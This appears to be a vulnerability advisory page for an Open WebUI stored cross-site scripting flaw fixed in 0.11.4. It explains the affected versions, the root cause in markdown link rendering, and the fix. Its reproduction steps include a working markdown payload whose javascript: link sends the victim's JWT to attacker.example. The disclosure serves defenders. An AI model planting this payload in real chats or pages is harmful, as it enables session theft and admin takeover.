OPEN-WEBUI · CVE-2026-109288 · AI agents & MCP
FIX → 0.11.4
Open WebUI rendered markdown links with javascript: URLs unchanged, so a user who shared a chat could plant a link that runs script in another user's session when clicked. The script can read the victim's JWT from local storage and act as them, including as an admin with full instance access.
first public Sep 27, 2026 · 2 sources
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Any self-hosted Open WebUI deployment below 0.11.4 where users can share chats or use channels. Exposure requires a victim to open an attacker's shared chat and click the link in an affected browser, and no Content-Security-Policy forbidding inline script. Deployments on 0.11.4 or later, or ones that set a CSP blocking inline script, are not affected.
Not affected if chromium-only-users, csp-blocks-inline-script, version-0.11.4-or-later
Who cares open-webui, python, self-hosted
pip show open-webui or the image tag; affected if below 0.11.4.chat.share enabled for regular users, and ENABLE_ADMIN_CHAT_ACCESS=true (the default), widen who can deliver the payload.Upgrade to 0.11.4
Any authenticated user could place a markdown link with a javascript: URL in content that another user later views, such as a shared chat. The link was rendered as a clickable anchor with the URL unchanged, because the markdown renderer never checked the link's scheme. When the victim clicked it in an affected browser, the script ran inside Open WebUI in the victim's session and could read their session token.
chat.share, on by default).ENABLE_ADMIN_CHAT_ACCESS=true). Channel messages render through the same component when channels are enabled (ENABLE_CHANNELS, off by default).The attacker's script runs in the Open WebUI origin as the victim. It reads the victim's JWT from local storage and sends it to the attacker, who can then use the API with the victim's full permissions. If the victim is an admin, that means the whole instance. The attacker needs the victim to open the shared chat and click the link in an affected browser (see Preconditions). Victims on Chromium-based browsers are not affected, and neither is any deployment that sets a CSP forbidding inline script.
Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
0.11.4 (fixed in PR #29890; upgrading is enough per the advisory).Fixed in #29890. Before a markdown link is rendered, its URL is now checked, and only http, https, mailto, tel and relative URLs are kept. A link with any other scheme is shown as plain text. Upgrading is enough.
src/lib/components/chat/Messages/Markdown/MarkdownInlineTokens.svelte), and in older releases the marked.parse rendering in the response message view.Link URLs from the markdown lexer went straight into the anchor's href. marked does not filter URL schemes, and link tokens skipped DOMPurify (only raw HTML tokens were sanitised), so nothing along the way rejected javascript: URLs.
Reproduced against the official v0.11.3 image with the default configuration, and checked against v0.11.4.
POST /api/v1/chats/new) whose assistant message contains:
[Free GPU credits](jAvascript:fetch('https://attacker.example/leak?t='+localStorage.token))POST /api/v1/chats/{id}/share) and give the victim read access (POST /api/v1/chats/shared/{id}/access/update)./s/{share_id} in WebKit and click "Free GPU credits". The listener receives the victim's JWT, sent from the Open WebUI origin. The same happens in Firefox with a middle click or Ctrl+click.href, and clicking it does nothing.This page as .md · .json · CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.